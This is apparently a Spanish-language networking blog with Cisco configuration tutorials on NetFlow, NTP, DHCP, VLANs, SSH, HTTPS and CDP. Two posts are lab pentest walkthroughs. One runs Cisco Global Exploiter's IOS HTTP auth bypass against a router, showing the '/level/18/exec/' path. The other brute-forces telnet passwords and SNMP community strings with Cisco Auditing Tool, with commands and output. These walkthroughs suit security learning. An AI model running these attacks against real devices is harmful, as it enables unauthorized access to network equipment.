a las 22:51

NetFlow - Monitorea los equipos de tu red

NetFlow es un protocolo de red desarrollado por Cisco Systems para recolectar información sobre tráfico IP. Netflow se ha convertido en un estándar de la industria para monitorización de tráfico de red, y actualmente está soportado para varias plataformas además de Cisco IOS y NXOS, como por ejemplo en dispositivos de fabricantes como Juniper, Enterasys Switches, y en sistemas operativos como Linux, FreeBSD, NetBSD y OpenBSD.

Existen varias diferencias entre la versión de implementación del Netflow original, por lo que algunas versiones incorporan algunos datos más, pero en líneas generales el Netflow básico envía al menos la siguiente información.

• Dirección IP de origen.
• Dirección IP de destino.
• Puerto UDP o TCP de origen.
• Puerto UDP o TCP de destino.
• Protocolo IP.
• Interfaz (SNMP ifIndex).
• Tipo de servicio IP.

R1#configure terminal
R1(config)#interface fastethernet0/0
R1(config-if)#ip address 10.10.10.1 255.255.255.0
R1(config-if)#no shutdown
R1(config-if)#end
R1#

Configuración de SNMP y NetFlow

R1(config)#ip access-list standard ACL
R1(config-std-nacl)#permit host 10.10.10.10
R1(config-std-nacl)#exit

R1(config)#hostname RouterLocal

RouterLocal(config)#snmp-server community secreto rw ACL
RouterLocal(config)#snmp-server location Mexico
RouterLocal(config)#snmp-server contact delfirosales

RouterLocal(config)#interface fastEthernet0/0
RouterLocal(config-if)#ip flow egress 
RouterLocal(config-if)#ip flow ingress 
RouterLocal(config-if)#exit

RouterLocal(config)#ip flow-export version 9
RouterLocal(config)#ip flow-export destination 10.10.10.10 99
RouterLocal(config)#ip flow-export source fastEthernet0/0

RouterLocal(config)#service timestamps 
RouterLocal(config)#logging 10.10.10.10
RouterLocal(config)#ip domain name delfirosales.com

Comandos shows

RouterLocal#show ip cache flow
RouterLocal#show ip flow export
RouterLocal#show ip flow interface
RouterLocal#debug ip flow export

Configuración del NetFlow Collector

Hay varios colectores disponibles, algunos licenciados y otros libres, dependiendo de lo que necesites, con cualquier collector te será muy fácil generar el reporte de los top 10 terminales que consumen ancho de banda. Para esta practica se utilizo Real-Time NetFlow Analyzer de SolarisWinds para concentrar la información, analizarla y generar resportes.

a las 3:17

Configuración de NTP con Autenticacion en un Router Cisco

NTP son las siglas de Network Time Protocol el cual nos permite sincronizar los dispositivos que funcionan en una red. Esto es muy importante ya que hay una gran variedad de servicios de red que se basan en la correcta sincronización de horarios de los servidores.

Para esto, el equipo realiza una referencia a un servidor de horario, que puede comparar y ajustar su fecha y la hora con otro servidor NTP publico en internet. El protocolo NTP utiliza el puerto UDP 123 para establecer la conexión con los servidores de horario. Es recomendable e importante configurar primero el protocolo NTP en los equipos de la nuestra red antes de implementar el protocolo estándar Syslog centralizado.

NTP en GNS3.

Configuración de un router Cisco para que sincronice la fecha y hora con un servidor de NTP público en internet.

Primero verificamos conectividad con el servidor NTP público en internet.

R1#ping pool.ntp.org
Translating "pool.ntp.org"...domain server (192.168.137.1) [OK]
 
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 132.248.30.3, timeout is 2 seconds:
!!!.!
Success rate is 80 percent (4/5), round-trip min/avg/max = 76/98/120 ms
R1#

Verificando conexión.

Configuración del Cliente NTP en R1.

R1#configure terminal
R1(config)#ntp server pool.ntp.org
Translating "pool.ntp.org"...domain server (192.168.137.1) [OK]
R1(config)#

Verificación.

R1#show clock detail
07:17:15.480 UTC Sun Mar 29 2015
Time source is NTP
 
R1#show ntp status
R1#show ntp associations

Verificación de NTP y comandos adicionales del estado de NTP.

Configuración en R2.

R2#configure terminal
R2(config)#ntp server 10.10.10.1
R2(config)#end
R2#
*Mar  1 00:14:15.523: %SYS-5-CONFIG_I: Configured from console by console
 
R2#show clock detail
.07:22:29.536 UTC Sun Mar 29 2015
Time source is NTP
R2#

NTP con Autenticación

R1#configure terminal
R1(config)#ntp authentication-key 1 md5 cisco
R1(config)#ntp authenticate
R1(config)#ntp trusted-key 1

Configuración de R2 como cliente NTP con autenticación.

R2#configure terminal
R2(config)#ntp authenticate
R2(config)#ntp authentication-key 1 md5 cisco
R2(config)#ntp trusted-key 1
R2(config)#ntp server 10.10.10.1 key 1

a las 13:34

DHCP Relay en el Cisco ASA

Las comunicaciones DHCP se realizan por broadcast y los mensajes broadcast no pasan a través de los routers. Por consiguiente, tanto las peticiones DHCP como las respuestas de los servidores no producen ninguna acción fuera de la red local. La solución mas fácil consiste evidentemente en poner un servidor DHCP en cada segmento de la red donde sean necesarios. Sin embargo, si se desea utilizar solo un servidor para varias redes, existe una solución , los agentes DHCP relay.

Un DHCP relay recibe las solicitudes de los clientes en formato de broadcast y las reenvía como unicast a la dirección del servidor DHCP.

Los mensajes unicast pueden pasar por los routers, llegando la información a buen puerto. En seguida, el servidor DHCP responderá con un mensaje en modo unicast con el agente relay como destino y este, a su vez enviara un mensaje broadcast que recibirá el equipo cliente. El cliente DHCP no sabrá que esta tratando con un agente relay, si no que piensa que hay un servidor DHCP real en su segmento.

Habilitar la función DHCP relay en el Cisco ASA.

Identificar el servidor DHCP

ciscoasa(config)# dhcprelay server ip-address interface

Si se tiene más de un servidor DHCP, puede repetir este comando para definir hasta cuatro servidores diferentes. En este caso, las solicitudes DHCP se transmiten a cada uno de los servidores de forma simultánea.

Identificar los clientes DHCP

ciscoasa(config)# dhcprelay enable interface

La palabra clave setroute instala automáticamente una ruta por defecto en el dispositivo.

ciscoasa(config)# dhcprelay setroute interface

CiscoASA(config)# dhcprelay server 20.1.1.2 DMZ
CiscoASA(config)# dhcprelay enable inside
CiscoASA(config)# dhcprelay setroute inside

Configurar la interface inside de los host para obtener la dirección IP por DHCP.

R1(config)#interface fastEthernet0/0
R1(config-if)#ip address dhcp 
R1(config-if)#no shutdown 
R1(config-if)#end
Interface FastEthernet0/0 assigned DHCP address 192.168.1.2, mask 255.255.255.0
R1#
R1#show ip int brief
Interface                  IP-Address      OK? Method Status                Protocol
FastEthernet0/0            192.168.1.2     YES DHCP   up                    up      
FastEthernet0/1            unassigned      YES unset  administratively down down   

a las 15:58

Servidor DHCP en el Cisco ASA

El Cisco ASA puede actuar como un servidor DHCP para distribuir dirección IP a los hosts finales que ejecutan servicios de un cliente DHCP. Esta característica es importante si usted tiene una pequeña sucursal que no posee un servidor DHCP dedicado. 

Para configurar el servidor DHCP a través de ASDM, ir a Configuración > Device Management > DHCP > DHCP server y seleccione la interface en la que desea habilitar los servicios DHCP.

Para configurar un ASA como un servidor DHCP, desde la línea de comandos.

Configuramos la interface inside.

CiscoASA# configure terminal
CiscoASA(config)# interface gigabitEthernet0 
CiscoASA(config-if)# nameif inside
INFO: Security level for "inside" set to 100 by default.
CiscoASA(config-if)# ip address 192.168.1.1 255.255.255.0
CiscoASA(config-if)# no shutdown 

Definir el conjunto de direcciones IP y asignar el pool a los usuarios internos.
CiscoASA(config)# dhcpd address 192.168.1.10-192.168.1.30 inside

Habilitar el servicio de servidor DHCP en la interface
CiscoASA(config)# dhcpd enable inside

Definir el nombre de dominio para los clientes DHCP.
CiscoASA(config)# dhcpd domain delfirosales

Definir un servidor de nombres de dominio (DNS.
CiscoASA(config)# dhcpd dns 192.168.1.50

Tiempo de concesión en segundos. El valor predeterminado es de 3600 segundos (1 hora).
CiscoASA(config)# dhcpd lease 7200

Para comprobar la configuración de DHCP, podemos utilizar el comando show dhcpd state para mostrar el estado actual de DHCP en  las interfaces internas y externas. El comando show dhcpd binding para visualizar los enlaces actuales de los usuarios internos y el comando show dhcpd statistics para mostrar las estadísticas de DHCP.

CiscoASA# show dhcpd state    
Context  Configured as DHCP Server
Interface inside, Configured for DHCP SERVER

CiscoASA# show dhcpd binding
IP address       Client Identifier        Lease expiration        Type
   192.168.1.10  0063.6973.636f.2d63.           7020 seconds    Automatic
                 3830.302e.3037.3734.
                 2e30.3030.302d.4661.
                 302f.30

Para borrar los enlaces de DHCP o estadísticas, utilice el comando clear dhcpd binding o clear dhcpd statistics.

CiscoASA# clear dhcpd binding

CiscoASA# clear dhcpd statistics

a las 1:33

Cisco Global Exploiter

Cisco Global Exploiter (CGE) es un pequeño script hecho en Perl que combina 14 vulnerabilidades individuales que pueden ser contrastadas con los dispositivos Cisco. Es importante señalar que estas vulnerabilidades representan a sólo un conjunto específico de los equipos Cisco y esta pequeña herramienta no está completamente diseñada para realizar una evaluación de todas las necesidades de seguridad de estos equipos.

Para abrir Cisco Global Exploiter lo podemos hacer desde la terminal.

cd /pentest/cisco/cisco-global-exploiter/
./cge.pl

Usage :
perl cge.pl  

Vulnerabilities list :
[1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability
[2] - Cisco IOS Router Denial of Service Vulnerability
[3] - Cisco IOS HTTP Auth Vulnerability
[4] - Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability
[5] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability
[6] - Cisco 675 Web Administration Denial of Service Vulnerability
[7] - Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability
[8] - Cisco IOS Software HTTP Request Denial of Service Vulnerability
[9] - Cisco 514 UDP Flood Denial of Service Vulnerability
[10] - CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability
[11] - Cisco Catalyst Memory Leak Vulnerability
[12] - Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability
[13] - 0 Encoding IDS Bypass Vulnerability (UTF)
[14] - Cisco IOS HTTP Denial of Service Vulnerability
root@delfi:/pentest/cisco/cisco-global-exploiter#

Opciones Cisco Global Exploiter.

En la imagen anterior se muestran las opciones y las instrucciones de uso de esta mini herramienta, también muestra una lista de 14 vulnerabilidades en un orden definido. De la lista de vulnerabilidades tomaremos un ejemplo para realizar una prueba contra un equipos cisco modelo 2600, así que lanzamos la prueba desde consola con el siguiente comando.

root@delfi:/pentest/cisco/cisco-global-exploiter# ./cge.pl 192.168.1.75 3
Vulnerability unsuccessful exploited ...

Vulnerability successful exploited with [http://192.168.1.75/level/18/exec/....]

Vulnerability Successful Exploited.

En este caso, la prueba se ha realizado utilizando la opción [3] - Cisco IOS HTTP Auth Vulnerability y como podemos ver la vulnerabilidad ha sido explotada con éxito.

Acceso al Router 2600 de nombre R2_WAN.

Ahora desde el explorador podemos ejecutar comandos del router sin ningún tipo de autenticación.

a las 2:13

Password Brute Force con Cisco Auditing Tool

Cisco Auditing Tool (CAT) es una mini herramienta de auditoría de seguridad. Analiza las vulnerabilidades mas comunes de los routers Cisco, como las contraseñas por defecto, las cadenas de comunidad SNMP y algunos de los antiguos errores del IOS. Incluye tambien soporte para demás plugins y el escaneo de múltiples hosts.

En BackTrack para iniciar la herramienta Cisco Auditing Tool nos vamos al menú Aplications - BackTrack - Vulnerability Assessment - Network Assessment - Cisco Tools. Una vez que la ventana de la consola se haya cargado correctamente, podremos mirar todas las opciones posibles que podemos utilizar en contra del nuestro objetivo.

Cisco Auditing Tool en BackTrack.

En caso de que decidamos utilizar la herramienta directamente desde la terminal, lo podemos realzar de la siguiente manera.

cd /pentest/cisco/cisco-auditing-tool/
./CAT --help

Y lo anterior nos mostrara lo siguiente.

./CAT version [unknown] calling Getopt::Std::getopts (version 1.06 [paranoid]),
running under Perl version 5.10.1.

Usage: CAT [-OPTIONS [-MORE_OPTIONS]] [--] [PROGRAM_ARG1 ...]

The following single-character options are accepted:
With arguments: -h -f -p -w -a -l
Boolean (without arguments): -i -q

Options may be merged together.  -- stops processing of options.
Space is not required between options and their arguments.
[Now continuing due to backward compatibility and excessive paranoia.
See ``perldoc Getopt::Std'' about $Getopt::Std::STANDARD_HELP_VERSION.]

Cisco Auditing Tool - g0ne [null0]
Usage:
-h hostname (for scanning single hosts)
-f hostfile (for scanning multiple hosts)
-p port # (default port is 23)
-w wordlist (wordlist for community name guessing)
-a passlist (wordlist for password guessing)
-i [ioshist] (Check for IOS History bug)
-l logfile (file to log to, default screen)
-q quiet mode (no screen output)

root@delfi:/pentest/cisco/cisco-auditing-tool#

Cisco Auditing Tool.

Estas son las opciones y descripciones sobre el uso de CAT. Vamos a ejecutar las siguientes opciones en contra de nuestro objetivo, un dispositivo Cisco (2600).

-h hostname (for scanning single hosts)
-w wordlist (wordlist for community name guessing)
-a passlist (wordlist for password guessing)

Esta combinación de fuerza bruta y escaneo del dispositivo cisco es para averiguar cualquier contraseña conocida y los nombres de las comunidades SNMP. Antes de realizar la prueba, tenemos que actualizar también la lista de las contraseñas y community strings de SNMP en la ruta pentest/cisco/cisco-auditing-tool/lists con el fin de obtener una mayor probabilidad de éxito. Bueno vamos a realizarlo de la siguiente manera.

./CAT -h 192.168.1.102 -w lists/community -a lists/passwords -1

root@delfi:/pentest/cisco/cisco-auditing-tool# ./CAT -h 192.168.1.102 -w lists/community -a lists/passwords -1
Unknown option: 1

Cisco Auditing Tool - g0ne [null0]

Checking Host: 192.168.1.102

Guessing passwords:

Invalid Password: list
Invalid Password: cisco1
Invalid Password: cisco
Invalid Password: passwordvty
Password Found: p4sswordvty
Invalid Password: ciscos
Invalid Password: public
Invalid Password: private
Invalid Password: admin
Invalid Password: cisco_comu
Invalid Password: cisco1
Invalid Password: cisco2
Invalid Password: router
Invalid Password: routercisco
Invalid Password: secret
Invalid Password: Cisco
Invalid Password: telnet
Invalid Password: 123456
Invalid Password: default
Invalid Password: nicolay
Invalid Password: router1
Invalid Password:

Guessing Community Names:

Invalid Community Name: list
Community Name Found: public
Community Name Found: private
Invalid Community Name: cisco
Invalid Community Name: cisco1
Community Name Found: ciscos
Invalid Community Name: default
Invalid Community Name: Cisco
Community Name Found: cisco_comu
Invalid Community Name: adm

---------------------------------------------------
Audit Complete

Salida de Cisco Auditing Tool.

Para obtener mejores resultados lo recomendable es editar los archivos que se encuentran en la ruta pentest/cisco/cisco-auditing-tool/lists podemos utilizar cualquier editor de texto o el editor Vim para agregar mas palabras a los archivos y así obtener unos mejores resultados de salida.

a las 9:30

Creando VLANs (Virtual LANs)

En este post se muestra las configuraciones básicas para crear VLANs (Virtual LANs). Los comandos los realice desde un Switch 2950. Para crear VLANs en el Switch Cisco Catalyst 2950 es de la siguiente manera. Primero creamos tres VLANs (de la vlan 2 a la 4) con el comando "vlan" siguiendo del numero de la vlan, también podemos agregarle un nombre tecleando name y el nombre de la VLAN.

Switch#vlan database
Switch(vlan)#vlan 2 name VLAN2
VLAN 2 added:
Name: VLAN2
Switch(vlan)#vlan 3 name VLAN3
VLAN 3 added:
Name: VLAN3
Switch(vlan)#vlan 4 name VLAN4
VLAN 4 added:
Name: VLAN4
Switch(vlan)#exit
APPLY completed.
Exiting....
Switch#

Ahora para verificar las VLANs creadas, tecleamos el comando "show vlan".

Switch#show vlan
VLAN Name                             Status    Ports
---- -------------------------------- --------- -------------------------------
1    default                          active    Fa0/1, Fa0/2, Fa0/3, Fa0/4,
                       Fa0/5, Fa0/6, Fa0/7, Fa0/8,
                       Fa0/9, Fa0/10, Fa0/11, Fa0/12
2    VLAN2                            active
3    VLAN3                            active
4    VLAN4                            active
1002 fddi-default                     active
1003 token-ring-default               active
1004 fddinet-default                  active
1005 trnet-default                    active

VLAN Type  SAID       MTU   Parent RingNo BridgeNo Stp  BrdgMode Trans1 Trans2
---- ----- ---------- ----- ------ ------ -------- ---- -------- ------ ------
1    enet  100001     1500  -      -      -        -    -        1002   1003
2    enet  100002     1500  -      -      -        -    -        0      0
3    enet  100003     1500  -      -      -        -    -        0      0
4    enet  100004     1500  -      -      -        -    -        0      0
1002 fddi  101002     1500  -      -      -        -    -        1      1003
1003 tr    101003     1500  1005   0      -        -    srb      1      1002
1004 fdnet 101004     1500  -      -      1        ibm  -        0      0
1005 trnet 101005     1500  -      -      1        ibm  -        0      0
Switch#

Asignar el puerto FastEthernet0/2 (fa0/2) a la VLAN 2
Asignar el puerto FastEthernet0/3 (fa0/3) a la VLAN 3
Asignar el puerto FastEthernet0/4 (fa0/4) a la VLAN 4

Switch#config t
Switch(config)#interface f0/2
Switch(config-if)#switchport access vlan 2
Switch(config-if)#interface Fa0/3
Switch(config-if)#switchport access vlan 3
Switch(config-if)#interface Fa0/4
Switch(config-if)#switchport access vlan 4
Switch(config-if)#end
Switch#

Verificamos la configuración de las VLANs.

Switch#show vlan
VLAN Name                             Status    Ports
---- -------------------------------- --------- -------------------------------
1    default                          active    Fa0/1, Fa0/5, Fa0/6, Fa0/7,
                       Fa0/8, Fa0/9, Fa0/10, Fa0/11,
                       Fa0/12
2    VLAN2                            active    Fa0/2
3    VLAN3                            active    Fa0/3
4    VLAN4                            active    Fa0/4
1002 fddi-default                     active
1003 token-ring-default               active
1004 fddinet-default                  active
1005 trnet-default                    active

VLAN Type  SAID       MTU   Parent RingNo BridgeNo Stp  BrdgMode Trans1 Trans2
---- ----- ---------- ----- ------ ------ -------- ---- -------- ------ ------
1    enet  100001     1500  -      -      -        -    -        1002   1003
2    enet  100002     1500  -      -      -        -    -        0      0
3    enet  100003     1500  -      -      -        -    -        0      0
4    enet  100004     1500  -      -      -        -    -        0      0
1002 fddi  101002     1500  -      -      -        -    -        1      1003
1003 tr    101003     1500  1005   0      -        -    srb      1      1002
1004 fdnet 101004     1500  -      -      1        ibm  -        0      0
1005 trnet 101005     1500  -      -      1        ibm  -        0      0
Switch#

Al teclear el comando "show flash" veremos un fichero llamado "vlan.dat" donde se guarda la información de las vlans.

a las 9:30

Este vídeo muestra como configurar SSH (Secure SHell) en un router, utilizando el simulador gráfico GNS3. En resumen, lo primero es configurarle un hostname al router y establecer un nombre de dominio. Estos detalles son necesarios para generar las claves rsa, una vez terminado de generar las claves, después solo toca configurar algunos detalles adicionales como el configurar el tiempo de inactividad para la sesión, el numero de veces que uno puede fallar al intentarse logearse, crear un nombre de usuario con su respectiva contraseña y también los protocolos permitidos para entrar por las lineas VTY. Por ultimo se realiza la prueba iniciando sesión SSH desde PuTTY.

Configuración de SSH (Secure SHell) en GNS3 from delfirosales on Vimeo.

Comandos

R1> enable
R1# configure terminal
R1(config)# int f0/0
R1(config-if)# ip address 192.168.1.1 255.255.255.0
R1(config-if)# no shut
R1(config-if)# end
R1# show ip int brief
R1# ping 192.168.1.2
R1# conf t
R1(config)# enable secret cisco
R1(config)# ip domain-name delfirosales.com
R1(config)# crypto key generate rsa general-keys modulus 1024
R1(config)# ip ssh time-out 60
R1(config)# ip ssh authentication-retries 3
R1(config)# line vty 0 4
R1(config-line)# login local
R1(config-line)# transport input ssh telnet
R1(config-line)# exit
R1(config)# username delfirosales password cisco
R1(config)# exit
R1# wr

Cliente SSH (PuTTY)

login as: delfirosales
Password: cisco
R1> enable
Password: cisco
R1# show ip int brief
R1# conf t
R1(config)# hostname delfirosales
delfirosales(config)# end
delfirosales# wr

Video Online
http://www.youtube.com/watch?v=YJIhk2gm2RA

a las 0:30

GNS3 Lab: Configuración de SSH (Secure SHell) en GNS3

El primer paso es configurar la interface de bucle invertido con la dirección IP 192.168.1.2 y mascara de subred 255.255.255.0. Hecho lo anterior ahora agregamos un Router y una Nube (Interface de Bucle Invertido) en GNS3 y los conectamos con un cable FastEthernet. Iniciamos el Router (R1) dando clic derecho - "Inicio", una vez mas hacemos clic derecho para abrir la "consola" y ya que hallamos realizado estos pasos, el router comenzara a descomprimir el IOS.

Connected to Dynamips VM "R1" (ID 0, type c3725) - Console port
Smart Init is disabled. IOMEM set to: 5
                         Using iomem percentage: 5
Restricted Rights Legend

Use, duplication, or disclosure by the Government is
subject to restrictions as set forth in subparagraph
(c) of the Commercial Computer Software - Restricted
Rights clause at FAR sec. 52.227-19 and subparagraph
(c) (1) (ii) of the Rights in Technical Data and Computer
Software clause at DFARS sec. 252.227-7013.

cisco Systems, Inc.
170 West Tasman Drive
San Jose, California 95134-1706

Cisco IOS Software, 3700 Software (C3725-ADVENTERPRISEK9-M), Version 12.4(15)T5, RELEASE SOFTWARE (fc4)
Technical Support: https://www.cisco.com/techsupport
Copyright (c) 1986-2008 by Cisco Systems, Inc.
Compiled Wed 30-Apr-08 18:27 by prod_rel_team
Image text-base: 0x60008930, data-base: 0x6363A000

Use format command to format the card as DOS File System.
Or use erase command to format the card as Low End File System.

This product contains cryptographic features and is subject to United
States and local country laws governing import, export, transfer and
use. Delivery of Cisco cryptographic products does not imply
third-party authority to import, export, distribute or use encryption.
Importers, exporters, distributors and users are responsible for
compliance with U.S. and local country laws. By using this product you
agree to comply with applicable laws and regulations. If you are unable
to comply with U.S. and local laws, return this product immediately.

A summary of U.S. laws governing Cisco cryptographic products may be found at:
https://www.cisco.com/wwl/export/crypto/tool/stqrg.html

If you require further assistance please contact us by sending email to
export@cisco.com.

Cisco 3725 (R7000) processor (revision 0.1) with 124928K/6144K bytes of memory.
Processor board ID XXXXXXXXXXX
R7000 CPU at 240MHz, Implementation 39, Rev 2.1, 256KB L2, 512KB L3 Cache
2 FastEthernet interfaces
DRAM configuration is 64 bits wide with parity enabled.
55K bytes of NVRAM.
16384K bytes of ATA System CompactFlash (Read/Write)
Installed image archive

SETUP: new interface FastEthernet0/0 placed in "shutdown" state
SETUP: new interface FastEthernet0/1 placed in "shutdown" state

Press RETURN to get started!

echsupport
Copyright (c) 1986-2008 by Cisco Systems, Inc.
Compiled Wed 30-Apr-08 18:27 by prod_rel_team
*Mar  1 00:00:22.995: %SNMP-5-COLDSTART: SNMP agent on host R1 is undergoing a cold start
*Mar  1 00:00:23.319: %CRYPTO-6-ISAKMP_ON_OFF: ISAKMP is OFF
*Mar  1 00:00:23.319: %CRYPTO-6-GDOI_ON_OFF: GDOI is OFF
R1>

Ya que el router se halla iniciado correctamente, le configuraremos una IP 192.168.1.1 con mascara de subred 255.255.255.0 y probamos la conectividad haciendo un ping a la interface loopback.

R1> en
R1# conf t
Enter configuration commands, one per line.  End with CNTL/Z.
R1(config)# int f0/0
R1(config-if)# ip address 192.168.1.1 255.255.255.0
R1(config-if)# no shut
R1(config-if)# end
*Mar  1 00:00:56.195: %LINK-3-UPDOWN: Interface FastEthernet0/0, changed state to up
*Mar  1 00:00:57.195: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/0, changed state to up
R1# show ip int brief
Interface                  IP-Address      OK? Method Status                Protocol
FastEthernet0/0            192.168.1.1     YES manual up                    up
FastEthernet0/1            unassigned      YES unset  administratively down down
R1#
R1# ping 192.168.1.2
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 192.168.1.2, timeout is 2 seconds:
.!!!!
Success rate is 80 percent (4/5), round-trip min/avg/max = 20/58/92 ms
R1#

Ahora empezamos a configurar SSH, para esto primero tenemos que hacer, es crear un nombre de dominio.

R1# conf t
Enter configuration commands, one per line.  End with CNTL/Z.
R1(config)# enable secret cisco
R1(config)# ip domain-name delfirosales.com

Generar el certificado RSA con un tamaño entre el rango de 360-2048. En este ejemplo se muestra con el tamaño de 1024.

R1(config)# crypto key generate rsa general-keys modulus 1024
The name for the keys will be: R1.delfirosales.com

% The key modulus size is 1024 bits
% Generating 1024 bit RSA keys, keys will be non-exportable...[OK]

R1(config)#
*Mar  1 00:01:36.367: %SSH-5-ENABLED: SSH 1.99 has been enabled

Algunos detalles adicionales como el configurar el tiempo de inactividad para la sesión, el numero de veces que uno puede fallar al intentarse logearse.

R1(config)# ip ssh time-out ?
<1-120>  SSH time-out interval (secs)
R1(config)# ip ssh time-out 60
R1(config)# ip ssh authentication-retries 3

Configurar los protocolos permitidos en las lineas VTY.

R1(config)# line vty 0 4
R1(config-line)# login local
R1(config-line)# transport input ssh telnet
R1(config-line)# exit
R1(config)#

Crear un usuario y contraseña

R1(config)# username delfirosales password cisco
R1(config)# exit
R1# wr
Building configuration...
[OK]

Iniciamos sesion SSH con PuTTY

login as: delfirosales
Using keyboard-interactive authentication.
Password:

R1> enable
Password:
R1#
R1# show ip int brief
Interface                  IP-Address      OK? Method Status                Protocol
FastEthernet0/0            192.168.1.1     YES manual up                    up
FastEthernet0/1            unassigned      YES unset  administratively down down
R1# conf t
Enter configuration commands, one per line.  End with CNTL/Z.
R1(config)# hostname delfirosales
delfirosales(config)# end
delfirosales# wr
Building configuration...
[OK]

SSH funcionando en GNS3.

a las 13:15

Para configurar y monitorizar el router utilizando una transferencia segura de datos en el navegador, la solución es habilitar HTTPS (Hypertext Transfer Protocol Secure o en español Protocolo seguro de transferencia de hipertexto) en el router. Para habilitar HTTPS en un router cisco se utiliza el comando ip http secure-server.

Router#configure terminal
Enter configuration commands, one per line.  End with CNTL/Z.
Router(config)#ip http secure-server
% Generating 1024 bit RSA keys, keys will be non-exportable...[OK]
Router(config)#end
Router#

HTTPS nos proporciona un método seguro y encriptado para acceder al router desde un navegador web usando Secure Sockets Layer (Protocolo de Capa de Conexión Segura SSL) y Transport Layer Security (Seguridad de la Capa de Transporte TLS). Por defecto, el router crea un certificado digital en la configuración, tal como se muestra continuación.

Router#show running-config | section crypto 
crypto pki trustpoint TP-self-signed-998521732
enrollment selfsigned
subject-name cn=IOS-Self-Signed-Certificate-998521732
revocation-check none
rsakeypair TP-self-signed-998521732
crypto pki certificate chain TP-self-signed-998521732
certificate self-signed 01
3082023C 308201A5 A0030201 02020101 300D0609 2A864886 F70D0101 04050030
30312E30 2C060355 04031325 494F532D 53656C66 2D536967 6E65642D 43657274
69666963 6174652D 39393835 32313733 32301E17 0D303230 33303130 30313634
345A170D 32303031 30313030 30303030 5A303031 2E302C06 03550403 1325494F
532D5365 6C662D53 69676E65 642D4365 72746966 69636174 652D3939 38353231
37333230 819F300D 06092A86 4886F70D 01010105 0003818D 00308189 02818100
E2511EF6 6F0A8C6D B915194A 7C024F32 1DCEFBEB A39C0E6E 924D624D 4803F14D
51CC0CD5 EC228192 BA67A370 7C0D33DF F51DF07C 2F6FCE20 25D81337 34F9526E
940496A1 F5F4AB56 81A1CAC8 65CBABF5 8F2493CC 7842358A CAF055D5 15BF269D
83ADEF10 66CF9165 04F5FF16 5FBA92AE 641ED9E5 127F1587 536FBD06 F25AA1C9
02030100 01A36630 64300F06 03551D13 0101FF04 05300301 01FF3011 0603551D
11040A30 08820652 6F757465 72301F06 03551D23 04183016 80142335 99B9291A
53A28A3A A59369DC E61049FD AB8F301D 0603551D 0E041604 14233599 B9291A53
A28A3AA5 9369DCE6 1049FDAB 8F300D06 092A8648 86F70D01 01040500 03818100
A7CCFC26 38B51159 5E30FFE2 4A77E7E5 EC91C380 D251AED9 389E6D3F 6F8C8E5C
158B93AC 3E6A8902 9F312544 D47D1974 4949985B 16DD5629 106FF3D9 F2AB338F
CF740E85 30B2FB81 2B0E4726 AA7B005E 32E7F688 377DCB67 CADD4E27 13472C0F
46463B71 19447730 18990718 D08D45E6 8846DE1D 132EFF24 D8BF0057 C56471E4
  quit
Router#

Por default, el servidor HTTPS usa el puerto 443, para cambiar el puerto del servidor HTTPS utilizaremos el siguiente comando.

Router#configure terminal
Enter configuration commands, one per line.  End with CNTL/Z.
Router(config)#ip http secure-port 8080
Router(config)#end
Router#

En este ejemplo hemos cambiado el puerto 443 (predeterminado) de HTTPS, al puerto 8080. Puedes configurar cualquier puerto que no este siendo utilizado. El protocolo HTTP y el HTTPS no pueden estar configurados para utilizar el mismo puerto.

Asi que, si cambiamos el numero de puerto HTTPS, entonces necesitamos especificar en el navegador el numero de puerto. Por ejemplo: https://192.168.1.11:8080, donde el 8080 es el nuevo puerto de HTTPS que le hemos configurado.

Para ver el estado de la configuración de HTTPS, utilizaremos el comando show ip server.

Router#show ip http server secure status
HTTP secure server status: Enabled
HTTP secure server port: 8080
HTTP secure server ciphersuite: 3des-ede-cbc-sha des-cbc-sha rc4-128-md5 rc4-128-sha
HTTP secure server client authentication: Disabled
HTTP secure server trustpoint:
HTTP secure server active session modules: ALL
Router#

Como se puede ver la salida el comando show ip server, el servidor HTTPS esta habilitado y configurado para utilizar el puerto 8080.

a las 21:41

Usando Cisco Discovery Protocol (CDP)

El Cisco Discovery Protocol (CDP) es muy útil cuando se configura una amplia variedad de equipos cisco. Nos permite ver los protocolos configurados en los routers, las direcciones que tienen, así como las versiones de IOS corriendo en los routers o switches y todo esto sin necesidad de conocer las contraseñas de los dispositivos conectados. En resumen, la información que descubre CDP es la siguiente.

• Nombre del Dispositivo
• El Puerto o interface en la que esta recibiendo el paquete CDP
• Tipo de Puerto
• El modelo del dispositivo Cisco
• Versión del IOS
• Lista de direcciones
• Información sobre VLANs

CDP esta habilitado por defecto en la mayoría de las interfaces, hay algunas excepciones como en las interfaces ATM. Este protocolo detecta automáticamente los dispositivos Cisco vecinos que están conectados directamente. El siguiente comando se utiliza para habilitar CDP a nivel global.

Router1(config)#cdp run

Ejemplo de la utilización de CDP en una red pequeña.

Red Pequeña.

Ejemplo de comandos CDP en el SW2.

SW2#show cdp ?
entry      Information for specific neighbor entry
interface  CDP interface status and configuration
neighbors  CDP neighbor entries
traffic    CDP statistics
|          Output modifiers

Con el comando show cdp neighbors podemos obtener un resumen de la información sobre los dispositivos vecinos que están ejecutando CDP.

SW2#show cdp neighbors
Capability Codes: R - Router, T - Trans Bridge, B - Source Route Bridge
S - Switch, H - Host, I - IGMP, r - Repeater

Device ID        Local Intrfce     Holdtme    Capability  Platform  Port ID
Router1          Fas 1/1            167           R       7206VXR   Fas 0/0
SW1              Fas 1/0            153         R S I     3725      Fas 1/1

Como podemos ver este comando nos muestra el nombre y el tipo de dispositivo de los equipos conectados, incluyendo el modelo. También muestra que puertos por las cuales estamos recibiendo los paquetes CDP y los puertos de los dispositivos vecinos por los cuales se envían los paquetes.

Para obtener información mas datallada de los dispositivos conectados.

SW2#show cdp neighbors detail
-------------------------
Device ID: Router1
Entry address(es):
IP address: 192.168.1.3
Platform: Cisco 7206VXR,  Capabilities: Router
Interface: FastEthernet1/1,  Port ID (outgoing port): FastEthernet0/0
Holdtime : 130 sec

Version :
Cisco IOS Software, 7200 Software (C7200-JK9O3S-M), Version 12.4(17), RELEASE SOFTWARE (fc1)
Technical Support: https://www.cisco.com/techsupport
